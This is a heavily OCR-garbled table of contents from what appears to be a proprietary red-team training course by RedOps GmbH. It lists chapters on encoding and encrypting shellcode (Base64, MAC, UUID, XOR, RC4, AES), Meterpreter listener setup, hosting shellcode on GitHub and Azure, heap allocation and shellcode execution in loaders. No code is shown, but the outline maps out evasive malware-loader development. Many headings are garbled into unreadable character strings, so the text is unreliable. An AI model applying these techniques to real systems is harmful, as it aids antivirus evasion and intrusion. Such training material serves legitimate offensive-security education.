Effectiveness of Obfuscation VS. ENCIYPTION .....iun ittt ee e e e e e eaeaensansensensansansanenns 236
PYo AV [aTel=To @] o) {UETeT-1dTo] T [=Yod o] oY Lo [ LT SRS 236

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 9



ON SECURITY

1010 010 o F=1 oY PPt 236
SIS B 2 T 1= T 7 B =l g TeTo To 11 o V= S TP PRI PRPOt 237
T oo 18T [ o T PP 237
BaSE64 ENCOTING LOZIC .. iuuiiniiiiiiiiiiiie ettt ettt ee et et et et easenetueenaansansassnssnstnsensensessessessnsenssnsensnnees 237
(D e]0] o] Lol = = 1S 1=1 7 B oY= { o ORI 238
Double Base64 DeCOAING iN LOAUE .....unniiiiiieiei ettt ettt et et ea e e et et e e e e eaeennen et eeaennens 239
8.3: MAC AdAreSS ENCOMING ..cvniiiniiiiiiiiieiie ittt ettt ettt ettt et e et eea e et eeuneane et sanneaneesnsanneensannsanssnnsannsens 241
TN oo [UT e { o] o U O PPRN 241
MAC ENCOAING LOGIC .uttuitniiinitieiietiete et et ete ettt etaeeseeeueetasennetussastunsensssnsesnsensssnsssssensessesssstunennsssnssneesnnes 241
VYO o T=1 | FeToTo [N BI=ToTo o [ 0T =R T o I Mo Y=o -] S P SO RPN 242
B4 UUID ENCOGING «vniriiiiiiiiiiiiiiie e ee et et et ettt ettt e e sae et sansasansanstnstnsansassessssenssssessensessesssssnnsnsensensensenenns 244
[T oo 18T T o T PP 244
(10110 = oYoToTe 1o ¥= 3 Io =1 o PR 244
UUID Shellcode Decoding iN LOAUEN c...c.uiiuiiiiiiiiiiiiiiii ettt et ete e et tb et et eae e tasan s eaneeneeanseansens 246
8.5: Shellcode AS WOrdS ENCOAING . ...cuuiiuiiiiiiiiiii ittt et ettt et e it st et e a st e e en st eansanasens 248
[ ok o To [UTe1 4 o] o RPN 248
Shellcode AS Words ENCOTING LOZIC ..vuuiniiniiiiiiii ittt et et e e et e et et e e e e e s eaeansanannanssnernsansnnsens 248
Shellcode As Words DeCOiNgG iN LOAUET .....uuieniiiiiiiiii it et et et et e et et e et e e e e eaneansansnsnernesnaanennsens 249
8.6: String Literals, Contants, POINTEIS @nd MO ....iuiiiiiiiiiiiiiieii e e et et et e eeee et e e eaneasansensnesnesnesnsensens 253
[T oo 18T T o PP 253
STHNG LITEIALS e eeien ittt et e e e et e et et et st eaa s eastneanssaesanennstansanns 253
Global Pointer Variable CONStANT......uviiuiiiiniiiiii e e a e aa e 255
Local Pointer Variable CONSTANT .......ccuiiiiiiiiiiiiiiiii e 257
Global or Local Pointer Variable UNSIZNEd. ... ... euuiuiiiiieiieieei ettt et et et et e e et en et eeneenaeenneenns 259
Multiple String Literals vs. Single StriNg LITEIralS ....cu.iuiuiiiiiiiiii e e e e e e e e e e e e e e eanees 261
Optional Details about String Literals in context of COMPILErS ......iuiiiiiiiiiiii e e eaes 263
1010 010 o F=1 oY 2 PPt 264
8.7: Workbook — CodeFuscation ShellcoOde ENCOAING.....c.iuiiniiiiiii ittt ee e e e e e e e eeenns 265
T oo 18 o 1 T o 265
TaSK: COOSE INPUL ettt ettt et e te et e et et e eaa e et e et aaneatneauneansasnsasnaansasnsanneensssnsesneenesnnes 265
Task: SELECT ENCOAING MOUE .....iiniiiiiiiiie ittt et et et ete et e et et ean e et eeteean et eannaansasnsannaenssansennsenssnnes 266
Task: ENCOAE SNEICOAE ... ccuuiiiiiiiiieiie ettt ettt et et e e e e et e et e e ea e e eae e eena e eena e eenaeenaeeenns 267
Task: Save ENCOAEd ShellCOTE ....cvuuiiiiiiiiiiiii ettt et e e e et e et s eene s eena e eenes 268
101 010 o F=1 VPPt 269
8.8: Lab —DOoUDBLE BASEBA......ccouuiiiiiiiiiiiiiiiiiiiiii ittt et et et e e e e e e eaas 270
T e 18 o T o PP 270
OVEIVIEW OF the LOAAEI CONCEPT «iuniiiiiiiiiiii ettt e ettt ettt et e e eaneaaeanenansensensensenrnssnssnssnssnsensensnnenns 270
RS AU Lo 1=T o E T = E] PPN 270
Meterpreter: Shellcode and Listener Preparation ... ...cuiuiiiiiiiiiiiie et e e et e e e e e e e e e eaaees 271

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 10



(@ REDOPS

CodeFuscation: ShellCOde ENCOAING ...ovuuiiuiiiiiiieiieiie ettt ettt ettt e et et et e et etaeeasesneeneenesneensensannes 271
Visual Studio: BUildiNg the LOAUET ..cuuiiuniiiiiii ittt et et et et e et et eea e et e eueaneeneeenneaneannsannaanns 271
X64dbg: DEbUZEING Preparations ..u.cu. it e ettt ee et et et e e eaneasenssnsansaaeansansassensnssnsenseasensens 272
X64dDbg: DEDUZEING the LOAUET . cuiiniiniiii it e ettt e et et e e e e eaeaseassusensaaeaneansaneensnsensensensensens 272
8.8.1: WOrkbookK — ViSUAL STUAIO.....ccuuiiiiiiiiiiiiiiiiiii e e et e e e e e eaaae 273
LYoo [UT e { o] o PP 273
[IeF=Yo [Tl Sl Ul s Yol iTo T F=1 i 4 VA 1W 5 0] g F= 1 o 2 RS 273
AU e [=T o | F= 1S PP S UPPOPPPR PP 273
TaSK: INSEIT SNELLCOTE ... cieieiiiiii ettt et e et e et e et s e ta e et e et e et s e eneseenesaenesees 274
Task: DOUDLE BASE64 DECOMING ..vuieniiiiiiiiiiiiiiiiie et et ettt ettt et tteeneeaeansansesanssnstnsaseensasasnsnssnsensensensenns 275
8.8.2: WOIKDOOK — DEDUBEINEG .ueviiniiiiiiiiieie ittt te et e e et et eue et enstnaaneanssstassnsssetnsansensnssessnstsetnsensensenees 277
L gL oY 18 o1 4T o IO PPN 277
1 AE Lo [=T o A = TS PP PPP PP 277
Task: SNElCOAE POSITION .ceuuiuiiiiiiiiiii ettt et e e e e et et s e et s ea st s e eanseneeanss 277
Task: SNellcOdE DECOAING ...cuuiiuniiiiiiii et e b e st et et e e et s eae st san s eaaseneennss 279
Task: MemMOIY AlLOCATION «.ccuuiuiiiiiiii ittt ettt et et et et ea st et eaa s eaeanseanstnesansennseneennns 282
Task: Writing Decoded ShellcOde iNMEMOIY ....uuiiniiiiiiiiie et e et et e e e e e e e saeaeaeneeneansansansenns 284
Task: Change MemOry ProtECTION ..v.ii ittt ee e et et et e e eaeaeneenetneaneaneansensnsensensensensenns 286
Task: SHellCOdE EXECUTION .. ccuuiiiiii ettt ettt e e et s et s e e e e e s eenesees 288
101 010 o F-1 oV PPN 289
8.9: Lab — ShellCOdE @S WOIAS ....cvuiiiiii ittt ettt et e e st s e ea st ean s ennstneanss 290
LT oo 18 o { T o N 290
OVEIVIEW OF the LOAUEr CONCEPT...eniiiiiieeeeet ettt ee et et ettt ettt e e et et eaeennesnensensensansansanennenssnsensensensenens 290
STUAENES TASKS .. ettiiii ittt ettt e e et et e e ta e e ta s e taa e taa e etaa s etaaseenaseenasennasennns 290
Meterpreter: Shellcode and LiStener Preparation .......c.c e ieiii i ee e e e e et et eae e e e e e e e eananns 291
(07eYe (-1 HIWEYoF= 1 dTo] g ST (=] {(eT oo SN =l g oTo Yo 11 o V=PRI 291
Visual Studio: BUildiNg the LOAUET ...c.uiunii ittt ettt et et e e et eea e eneeneeneeneeenanneenneens 291
X64dbg: DEbUZEING Preparalions ....e.iun ittt ettt ee et e e et eanenensensansansansanensenssnsensensensnns 292
X64dbE: DEDUZEING The LOAUEN ..cnniniiniiiiieiiei ettt ettt et e e et e e e e eanenens e sansansansnnenansansensensensnns 292
8.9.1: WOrkbook — VisSual StUAIO......c.uviiiniiiiiiiiiiiii e 293
LT e 18 o { T o N 293
[IeF-To [T SlUl o Yol To] o F=1 1 4 VA 10 5 0] g F= 1 o2 PP 293
AU Lo [=T o A F= TS PSP PP PP 293
TasSK: INSEIT SNELLCOTE ... ceeiiiiiiii e ettt et e et s et e et e et s et s eene e eeneseenaees 294
Task: ShellcOAEASWOIAS DECOTING ...cuuiuniiiiiiiiii et ettt ettt et et eaneaeaenstnstnsansanrassessnssnsensensensennn 295
8.9.2: WOIKDOOK = DEDUBEINEG .ueuiiiiiiiiiiiieieiietiet ettt tete e et et eaneuneutustnsansanssnsssssstnstnsansesssssnssnssnsensensensenees 298
LT oL 18 o [ o PPN 298
RS AU Lo 1= A = TS PP 298
Task: SHEllCOAE POSITION ....uiiiiiiiiii ettt e e et e et e et s et s e e s eene s eenaees 298

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 11



ON SECURITY

Task: SNEllCOAE DECOMING «.cuuiiniiiiiie ittt ettt ettt e et et e et et eeaeeaaeeneansasaeanneansasneaneeensannsenneenssnnen 300

R R ST a g o] gV AV (o Tot= | o] o IR P PP PPTRRN 303
Task: Writing Decoded ShellcOde iN MEIMOIY ...u.ii it ettt e st et st e e saneaseaansansansensenes 306
Task: Change MemMOry ProtECTION ....iun it et e e et e e ea et e s e et eansanaasensanstnsensensenees 308
Task: ShellCOdE EXECUTION . .....iiuuiiiiiiiii ittt et e e et et et e eaa s eeaes 310
10T o T0 o F=1 oS 311
(019 F=1 o] YR HES]  T=1 U CeTo o [oN =Y o] 4 o 1 4 o] o NSNS 312
TN oo 18T e {0} o P PP 312
Shellcode ENCryption VS. ENCOMING ..uuiuniiiiiiiieie ittt ettt et e et e te et et et e et een et esasanneenesnnssanaenns 312
1010 010 o F-1 oY 2 P TP PRSPPIt 312
FUrther REadiNg nNd RESOUICES . ..uiuiiiiiiiiiiiiiiiiit ettt ee et et ea ettt e taeeneansassansesasstnssnsenssnsensessssrnsrnsensenees 313
S RO o) (=T (1= T o ) =Y f oV o V= S PRt 313
S0 (@1 23 =1 [¢] Y/ o 4 (o] o F PPt 314
T ok (o To 18T o1 4] o U S PPN 314
XOR Shellcode Decryption iN LOAUET ....cuuuiuniiiiiiiiiii ittt e e e et ee s e et eaa s ea s e ennaes 314
Optional Details - XOR ENCrypPtion LOGIC ceuucuuiiuiiiiiiiiiiiiiiii ittt ettt ee e et e e s e s e ea s e eanae 316

(S RS B o (@7 = o Vol Y/ o) i T ] o [PPSRt 318
[T oo 18T [ o T PP 318
[2{07/ 93] TN eTo Yo [N BI-Yed 4/ oXu o] a1 o I Mo F=To LY O PPN 318
Optional Details - RCA ENCIYPTioN LOZIC. .. uiiiiuiiiieiiiiieiiiie e ee et e et et et e et ene et e aneaneansansansnnsnssnsrnesnsnnsens 320

S IR A Y o = g o] Y/ o1 (o o R PPN 321
T8 oo 18 o T o 321
AES Shellcode Decryption iNLOAAEN ..... e r ettt ee et et ea et ens e s e eeneansanennenensansensensenees 321
Optional Details - AES ENCIYPTiON LOZIC ceuueeniiuiinieieeieie ettt et ettt et et et e et eeneene et eeneenenneenseneannsenneenns 323
9.5: Workbook — CodeFuscation Shellcode ENCIYPLioN .....vu ittt e e e e e e e e e e e e eans 324
T aLa oo 18] o1 4[] o PP PPP PP 324
= 1] S @ g oo 1= [ 1 o UL PPN 324
Task: SElECT ENCIYPLION MOTE ...uvniiniiiiiiiiie ettt et ettt ee e et et eaean e ensenetnsansanannansansensensensenees 325
Task: Generate ENCIYPLION KBY ..cuuiuuiiiiiiiii ittt et et e e et et e e e e e e et e et ean s et eaneanssansanneansannnes 326
TasK: ENCIYPE ShEICOTE . ..ttt ettt et et et e e e e ea e e s e tnsansanannannansenssnsensenees 327
Task: SAVe ENCIrypted SNEILCOE ..vuuiiiiiiiie ittt ettt et e e e e e e et e et eaa s et eeneansaansanneansannnes 328

B 1 SRS =YYl S e Te] ] oL To] o T () VPPN 331
101 010 o F=1 VPPt 331
SR =T ol {027 83 o 1= [ FeTo o LI = o od oY/ o] { o] o PSS PRt 332
T oo 18 o T o P 332
OVErVIEW OF the LOAAEr CONCEPT «ivuiiiiiiiiiiii et te et et ettt ettt et st eeneaaeanenssnstnsensensensnsssssnssnssnsensensnnsnns 332

RS AU Lo [=T = =] PPN 332
Meterpreter: Shellcode and Listener Preparation ... it ee s e st eeeae e e s e s e saneanans 333
(070Ye [T IWEYoF= 14 To] g MR T a[=] (Ve e (SN =l oYl Y/ o) 4 o] o NN PRt 333

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 12



(@ REDOPS

Visual Studio: BUildiNg the LOAET ..c.uiuniiiiii ettt ettt et et e ee et et e et e eneeneeaneennseneannsannaenns 334
X64dbg: DebUggiNg Preparaltions ... e e ittt ettt et et et e e et et et e e e e e e en et et eeaaanns 334
X64dDbE: DEbUZEING the LOAUET . cuinirniiiii it e ettt e e e et et e e eaeaseasaasansansaneansanennsnsensensensensens 334
9.6.1: WOrkbooK — ViSUAL STUAIO . ... ccuuiiiiiiiiiiiiiiiiiii it e e e e eaaee 336
LT oY 18 o 4T o I PPN 336
[IeF=Yo [Tl Sl Ul s Yol iTo T F=1 i 4 VA 1W g ] g F= 1 o 2 PP 336
AU Lo [=T o | F= 1S PP PP PPOPPPRPPP 336
TaSK: INSEIT SNELLCOTE ... eceieiieii ettt et et e et e et e et e et e et s etae s eeni s eeneseeneseenesees 337
TasK: INSEIT DECIYPHION KBY .ueniniiiiiiiiiiiiiie ittt ettt et ettt et et e etatesnenessnesessnesasnsnsnsaessnsensnsneensns 338

B 11 S (O A B T Yod oY/ o) d (o] o PO SRS 338
9.6.2: WOIKDOOK — DEDUBEINEG ...eviiiiiiiiiiiieie ittt ee et et et et et ettt tnaaneanssstassnsssetnssnsensnssessestsetnsensensenees 341
L gL oY 18 o1 4T o IO PPN 341

1 AE Lo [=T o A = TS PP PPP PP 341
Task: SNElCOAE POSITION .ceuuiuiiiiiiiiiii ettt et e e e e et et s e et s ea st s e eanseneeanss 341
Task: ENCryption KEY POSITION ..c..iuuieiiiiiiiiii ittt e e et s e et e b st s e s ea s eneanas 343
Task: MemMOIY AlLOCATION «.ccuuiuiiiiiiii ittt ettt et et et et ea st et eaa s eaeanseanstnesansennseneennns 345

B 11 ST a1 (oo Yo [N B I=Tod oY/ o] 4 o] o S PPN 347
Task: Writing ShellCOde iN MEBIMOIY ...vniiiiiiiiiii ettt ee et et e e e e eaeaesaetneansansansensnsenarnsensensenns 350
Task: Change MemOry ProtECTION ..u.ii it e et et e et e e et e e eaesaeea et taeaneaneansensnssnsensensensenns 352
101 010 o F-1 oV PPN 355
Chapter 10: Shellcode Hosting on Cloud PlatfOrmS ... cue ettt e 356
L LA oL 18 o T o PP 356
T10.7: ODJECHIVES OF LEAINING «euniiiiiiiniiiieiie ittt ettt et et et ettt eaenseneensansansnnennsnsensensansensnssnnsnssnsensensensnnsnns 356
10.2: Lab —Shellcode HOSTiNG 0N GitHUD ......ouin e e et et e e e e e e eae e e e eaneanenns 357
L gL oY e 181 4T o IO PPN 357
(@MY RV TS\ o) o [-Y Mo = To =1 g 0o o Lol =Y o | PPN 357
SHUAENES TASKS ettt ettt et e e et et e e tae e e ta s e taa e eaa e etan s etaaetanseenasennnsennns 357
Meterpreter: Shellcode and ListeNer Preparation .......i. it ete et er e e ee e et e eeeaneaaneaaneanes 358
CodeFuscation: Shellcode ENCIYPTION ...ttt te et et et ea et e s e e e eanennennenensensensensenees 358
GitHUD: ShEllCOdE HOSTING ceuiiiiiiiiiiiieie ettt et et et et e et e et et ean e et e e ean et eanneansasnsanaensssnsennsenssnnes 359
Visual Studio: BUildiNg the LOAET ..cuuiiuiiiiiiiie ettt et et ete et e et et ea e et e et eane et eannaansaansannennns 359
X64dbg: Debugging Preparaltions ... . e ittt et et et ettt e e et e e et e e e e eans 360
X64dbg: DebUZEING the LOAUEN ...cnnen ettt et et et e e e e e e e e e e e e en e e e e e e eenenns 360
10.2.1: Workbook — GitHUD ShellcOde HOSTING ... cuuiiiiiiieii ettt et et e e et ee e e e e een e enaeens 362
T gL oL 18 o [ o I PPN 362
TaSK: Create REPOSITOIY .iuniiiiiiiiiiii ittt ee e et et e e et et eueueenseneaseassananssnstnsensassasesssnsensensensensnnns 362
TasK: UPLOad ShELCOTE. .. .uiiiiiiiii ittt et et et ettt e et et s e eaneanaananssnstnsansassassnssnssnsensensansnnn 364
Task: Generate Personal ACCESS TOKEN ... cvuuiiiuiiiiiiiiiiiiiiiin i e aa e 366
Task: Double Check & Generate TOKEM .....ccuuiiuiiiiiiiiiiiii ettt et e e et et e et e eeneeees 369
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QL LSl 7 et [T PPN 370
10T o T0 o F=1 oV PP 371
10.2.2: WOrkboOoK — ViSUAL STUIO...ccuuuiiiiiiiiiiiiiiiii ittt e e e e e eaaees 372
[T oo 18T [ o T PP 372
Loader FUNCTIONAltY SUMMIAIY . ittt ee et ettt et et et tn et eansansassesanstnsansensensnssesensensensensenees 372
AU e [=T o | = 1 T PP PPTPRN 372
TaSK: GITHUD PAT ..ttt ettt ettt e et e et e et e etaa e etaa e e et eena s etnneennseannseennseennsennns 373
TASK: DB CIYPHION KBY eniiiiiiiiiii ettt ettt ettt et et e et ae et eaetesnestesnesssnssesssnsnesssnssesntnsnesnsnsnennsnnnns 373
Task: GItHUD ShellCOd LiNK .. cc.uiiuuiiiiiii ittt ettt et e e et e et e e et eeaa e etea s eteaaatnn s eennenaaseenns 374
Task: Shellcode DOWNLOAM .....cc.uiiiiiiiiiiiiiiiii i et ettt e e e tae e taa et s et s eanaseenns 374
Task: AES-DecCryplion SHELCOAE .. ..ttt et et et e e ta et s et et et eansaseanaasateensensensenees 376
10.2.3: WOTKDOOK = DEDUGEING . enivniiiiiiiieieie e ee ettt et e ettt e et et eaeeansansnsaneanatnsansasssnsnnsnssnsrnssnsensensennn 378
[T oo 18T [ o I PP 378
RS AU [0 L= o) g F= 1 T PP PPNt 378
Task: Location of Personal ACCESS TOKEN ...cuuiuuiiuiiiiiiiii ittt et et e e ea s e s e eanes 378
Task: Shellcode Download & POSITION ...c..iuuiuiiuiiiiiiii ittt e et e e s e e e ena e 380
Task: LOCation Of DECIYPTION KBY ...uuiuniiiiiiii ittt et et et e e et et ea et et eaneanennennansensansensennes 384
B 11 ST a1 ( (oo Yo [N B I=Tod oY/ o] 4 o] o S RPN 387
B = 151 S N [ g g Lo T YA Y (Lo ToT-=) i [ o [P PPN 390
Task: Writing ShellCOde iN MEBIMOIY ...uuiuiii ittt ie et e et et et ea et et et eaa st eansnnensensnsrnsensensenees 393
Task: Change Memory ProtECTION ... ittt ittt et e e ea st et eaa s e san e eanas 395
Task: Shellcode EXECUTION......c..uiiiiiiiiiiiiiii et r e e e e e 398
SUIMIMIAIY ettt ettt et et ettt e e e e tneaaeaeesaaanansansansansenssnensassensanssnsenssssnnssnensensensensensnnsnnsnnsnsensensensnnsnns 399
10.3: Lab — ShellcOde HOSTING ON AZUI......in ittt et e e e e et et et et st e aneansaasansensnsnesnesnsnnsensenns 400
[T a1 oo 18] o1 [ o PP PPPPPP 400
(@MY RV TSNV o) I aT-3 Mo T=To L= g 00 o ToT =Y o | SRRt 400
STUAENES TASKS teen ettt ettt ettt et et et e ta e ea s e tne e etbeseene s etne s eenaeenaeeanesees 400
Meterpreter: Shellcode and Listener Preparation ... ittt ea et e e e ea e e eaeeanas 401
CodeFuscation: Shellcode ENCIYPTION . c..in ittt et et et e e ea et e e e e eeneanennennenensensensensnnsnns 401
AZUIE: SHEllCOAE HOSTING . ettt et ettt e et et e e s e eaeeanens e ansansansnnensansensansensensenees 402
CodeFuscation: SAS URL ENCOMING ...cuuiuiiniiniiiiiiiie it tiet et ettt ee e et et eaeaeenensensensansanennsnnenssnsensensensansnns 402
Visual Studio: BUildiNg the LOAEN ..ueniiiiieieii ettt et et e et et e et e en et s enneeneensenneanneanaannnan 403
X64dbg: Debugging Preparations ..... ..ottt et e e ettt e e e e et e e eaaan 403
X64dbg: DebUZEING the LOAUEN ....e. ettt ettt et e e et et et e e e e ea e e e e e e eenennes 404
10.3.1: Workbook — Azure ShellcOde HOSTING ....c.uiuniiiiiiei ettt et et st s e eaeaen e e sensaneansanan 405
T e 18 o T o PP 405
TASK: RESOUICE GrOUD . iuuiiniiiiiiiitiiiii et tie ettt ettt eteneeueeneensensanesssnssnstnsensassasssssssssstnstnsensesssssnsenssnsensensensenees 405
TaSK: STOrAZE ACCOUNT ...ttt ee ettt ettt ettt e eeueeneensaneaeessanstnsensansassssssnsnstnsensensessasensesssnsensensensenees 406
L] 0] o1 €= 113 =T S PSP PP PP 410
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B 11 S 0T o] Co =T IS 1] { (T Yo [T RS 412
Task: SAS TOKEN @NA URL....uiiiiiiiiiieii ettt ettt et e et e et e et s eene e eene e etnesetneseaneeeeneseenesees 414
101 010 o F-1 oV 2P PPPPRN 416
10.3.2: WOrkbook — SAS URL ENCOQING ...cetuuuiiiiiiiiiiiiee ettt ettt ettt e e et e e et e e e eane s e eenne e eennaeeenens 417
LT oY 18 o 4T o I PPN 417
= 1] S @] g o Yo L1 N [T o LU RS 417
Task: SELECT ENCOAING MOUE c..euniiiiiiiiieie ittt ettt te et et e ee et et et e et eeuneansesnetuneeneesnsannsensannsenneenns 418
Task: SAVe ENCOAEA SAS URL ....cuuniiiiii ittt ettt ettt e e e et e et s eta e eea e etnaeeenieeeneeeeneseenesees 419
10T 0T0 g =1 oV PPN 420
10.3.3: WOrkbOOK — ViSUAL STUIO cc.uuiiiiiiiiiiiiiiiiiicii it e e e e et et et eeans 421
LT oY 18 o 4T o I PPN 421
[IeF-To [ST g =¥l g Lol To] aF=1 14 VA 10 [0 0] 0 F- 1 o PPt 421

1 AE Lo [=T o A = TS PP PPP PP 421
Task: ENtra BLOD SAS URL ...uuiiiii ettt et et e e et e e et e b e e et s eae st san s enasaneennss 422
TasSK: DECTYPTION KEY ...iuiiiiiiiiiii ettt et et et e b et et et e s st eaa s eaestnesansennsaneennns 422
Task: BLOD SAS URL DECOTING ..c.ueuuiuiiiiitiiiiiii ettt ettt et et et et et s e et eaa s ta et enastnesansennsaneennns 423
Task: SHellcode DOWNLOAM .......ciuuiiiiiiiiiiii ettt ettt s e e e et e et s e e s eene s eeneees 425

B 11 SGA S R DI=Te] oV o) d o) g o] =] LeTo Lo 1T PR 425
10.3.4: WOTKDOOK — DEDUSEING ..eniiniiiiiiiiiiieie et ce ettt ettt et ete et e e eaneaasanannaessnsrnsanssnsansensnssnsrnsensensensens 426
L gL oY 18 o 4T o IS PPN 426
A0 [o L= o) g F= 1 T PPN 426
Task: Location of Encoded BLOD SAS URL ......cc.ciiiiiiiiiiiiiiiiiicc e 426
Task: BLOD SAS URL DECOTING ... cuinitiiiiiii ittt iei ettt e te e et et et enetetnetneaneaneanensnssnsansansnnssssnsensensensensnnns 428
Task: Shellcode Download & POSITION......ccuuiiiuiiiiiiiiiiii ittt et eei et et eea s eeaeeees 430
Task: Location Of DECIYPTION KEY ..u.uniiniiiiiiiii et e et eae et et eae et e s e s eaneansansnesnaanaasansenns 435

B 11 ST a1 (eTo Yo [N B T=Tod oY/ o) 4 (o] o SN P RS 438
= 11 S N [T e ToT YA A (o ToT=) o] o [P PRS 440
Task: Writing SNEllCOTE iN MEBMOIY ...uiiuiiiiiiiie ettt ettt e et et eaa e et e et eane et ettnaaneeansannsanssnnsenneanns 443
Task: Change MemMOrY PrOtECTION ...v.eniiniiiieirie ettt et et ettt e e et et eaeanenensensansansanesnensansensensansnnnn 444
Task: SHellcode EXECULION .......uiiiiiiiiiiiiii ittt e e b s et s e eaaa s s eeaaaseeaas 447
SUMIMIAIY ettt ettt te e ettt ea et et et saneaneanannansansansansansnsassanstnsensensenssnssnsnssnsensensensnsensesnsnsensensensenees 448
(0111 o) (=T g B R o ToF= o B 17 =Y o g Vo oY PN 449
1o T 8o {0} o PN 449
T1.7: ODjJECTIVES Of LEAINMING «.eunieiiieiieie ettt et ettt et e et ete et eta et etueensanaetuneanannetnssensesnstnnaenssnnsensennsannsens 450
171.2: HEaP MEMOIY AllOCAtiON . .. ie ittt ettt et et et ettt et ensenstasansansassasssssnsensansessessnssnssnsensensensenenns 451
LT oo 18 o [ o PPN 451
Creating @ NEW HeEap ObJECT ... ittt ee e e e et et eaenseusansansansanansansensensensenrenees 451
ALLOCATE HEAP MEBIMOIY .. ittt ettt e ettt ettt ee e et eaneaneanenensansansansassssesssnsensansensessnsensensensensensensnns 452
101 010 o F=1 V2SRRI 452
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T o 1o Vol N 1Y o g Lo Y YA @] g F=T = ox (oY 4 o3 RS 453
TN oo [UT e { o] o U PPN 453
[ [=F=1 o I U] o Lol o] o |- J TP 453
e Toa o= | =] 1 0] o] (= T PRSPPI 455
1010 010 o F-1 oY 2P PRt 457
A Lab —Heap MemOry AllOCaAtiON ... ettt e et e et et te et e et enean s enaaaenesaeasnennsnsnns 458
LN oo 18T e { o] o U PPN 458
(@Y RV To1 A o) R (oY Mo T=To [T g 0o ] o ToT= o | SRS 458
STUAENTES TASKS ettt ettt ettt e e et e e e tb e eeaa e taa et aa e eena e eenaeenaeeheetnseenneennsannnnees 458
Meterpreter: Shellcode and Listener Preparation ... ittt e e e e s e eestaeeae e et e e eensanans 459
CodeFuscation: Shellcode ENCOMING ....vuiiniiiiiiiie ettt ee et et et ea et e at st eaneaneassansansnsenesneensnnsens 459
Visual Studio: BUildiNg the LOATET ...uuieniiiiiiiii ettt et et e e et e e s ate e et s asaananneasnaensansensennes 459
X64dbg: DEbUZEING Preparations ... i i ie ettt eeee e e e et e s san et aneaaatnstasansansnasnssnsensensensenns 460
X64dbg: DebUZEING TN LOAUET ..vuniiiiiiiiii it ettt e e et e e s e st eaa s easaneeanas 460
A1 WOrKbOOK — ViSUBL STUAIO. .. ceuiiiiiiiiiiiiiiii ittt et et e et et s e st eaa s ea et eaa s easaneanaas 461
[ ok o To [UTe1 4 o] o RPN 461
[IeF-To (STl ol U] o Lol i o] aF=1 11 g VA 18] 0 0] 0 F= o2 461
1 AE Lo 1=T o A = TS T PPN 461
Task: INSEIt SNELLCOTE.....uuiiiiiiiiiii et ettt et et et s et eeaa s eenaeeans 462
B O (=T | (o i LoF=T o J O o] =T o PPN 463
Task: ALLOCAtE HEAP MEIMOIY ..uuuiuiiii ittt et et e st et e b st et s eaa s easanennaes 463
TASK: UUID DECOMING ..ceneeniiiieeiittiti e eie et e et et ee e et et et et eanantaseasansanssnssnansansensansansnssnnssssnsensensensenses 464
A.2: WOTKDOOK — DEDUBZGING . eeeineinii ittt et et ettt ee e et e e eaeaeenansensanstnsanennennanssnsensensensensenns 467
T gL oo 18] o1 [ o PP PTPPPP 467
1 AE Lo 1=T o A = TS T PPN 467
Task: Pointer & Shellcode POSITION ....ccuuiiiuiiiiiiiiiiiii ettt et e e et e e et e ea s eeaes 467
B 11 ST [ (Lo Yo [N B I=ToTo Yo 14 T PPN 473
Task: Create HEap ODJECT ...ttt ettt et et st eaean e e sanstnsansanannansensensensensenees 476
TasSK: MEMOTY AlLOCATION ..ttt ettt ee e et et e e et ea et eeneansaneneesnansansansensansnnannanssnsensensensenees 478
Task: Writing Decoded Shellcode iN MEMOIY c..c.in ettt ettt eeee e et eaeanenenenseneensensenes 482
Task: Shellcode EXECULION . ......ciiuiiiiiiiiiiiii ittt e e e et s e e b e e saaaes 484
1010 010 o =1 YRt 485
5 Lab —Heap Memory ALLOCAtION V2 ... ettt ettt e et et e et e e e e eneaanenaaansnessansnennsnsnns 486
L1 oo U T o] o PPN 486
OVErVIEW OF the LOAAEI CONCEPT «ivuiiiiiiiiiiiii et e et et ettt ettt et e e eeneaneanensansenstnsensansnsssssnssnssnsensensansnns 486
RS AU Lo [=T = =] PPN 486
Meterpreter: Shellcode and Listener Preparation ... . i iiiiiii et ee e e e e e eeea e ans e sansenennens 487
CodeFuscation: Shellcode ENCOMING ....vuiiniiiiiiieiie e ettt ee et et et eaeaeneensensaneanennssnensensensensensnnsnns 487
Visual Studio: BUildiNg the LOAEN ...eniiiiiiie ettt et ettt et et e e e et et s enaeeneensenneaneeanaannnan 487
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X64dbg: Debugging Preparaltions ... e ettt et et e et et e e e e et e e e et e e eeaeans 488
X64dbg: DEbUZEING the LOAUEN . cuneneeieieie e ettt et et et et e e e e e et e e e e eaeenn et e e eeneenanns 488
11.5.1: WOrkbOOK — ViSUL STUIO cc.uuiiiiiiiiiiiiiiiiii ittt e et et e e e eaes 490
LT oY 18 o 4T o I PPN 490
Loader FUNCTIONAl Y SUMMIAIY .cuu ittt et ettt ettt et et e et et eaneaseasenssnsanstnsansensnssensnssnsensrnsensnnsens 490
AU Lo [=T o | F= 1S PSP PPPO PP 491
TaSK: INSEIT SNELLCOTE ... eeeieiieii et ettt et e et e et e et e eta e et s eea s etne s eeneeeeneseenesees 491
B O =T 1 (ol LoT=T o N O] o] 1= o RS 492
Task: ALLOCAtE HEAP MEBMIOIY ..uiiiiiiii et e ettt ettt et et et e ea st enaansaesasnensnsaesnsnsensnsneenses 492
= 11 S N VYO BT Y oo o | o ¥ - S SRR PPPRS 493
171.5.2: WOTKDOOK — DEDUSEING ..eniiniiiiiiiiiiie et ee et ettt ettt e e et e e e e eaneanasnensaasensansansasanssnnsnsensensnnseneens 496
L gL oY 18 o1 4T o IO PPN 496

1 AE Lo [=T o A = TS PP PPP PP 496
Task: Pointer & ShellCOde POSITION .....ivuiiiiiiiiiiiiii et et ea s e e s ea s e eaaae 496
Task: SNellcOdE DECOAING ...cuuiiuniiiiiiii et e b e st et et e e et s eae st san s eaaseneennss 501
Task: Create HEap ODJECT .. cuu ittt et et st et et s e et s eae st s e eanseneeanss 504

B 11 S N [T a Lo T YA A Lo ToT=) T o [ RN 506
Task: Writing Decoded ShellcOde iN MEMOIY ...t eee et et e e e e e e e eaeasaaneanaansansansenns 509
Task: Change MemOry ProtECTION ..u.ii it e et et e et e e et e e eaesaeea et taeaneaneansensnssnsensensensenns 511
Task: SHellCOdE EXECUTION ...ccuuiiiiiii ittt ettt s e e et et s et s e e e eene s eeneees 512
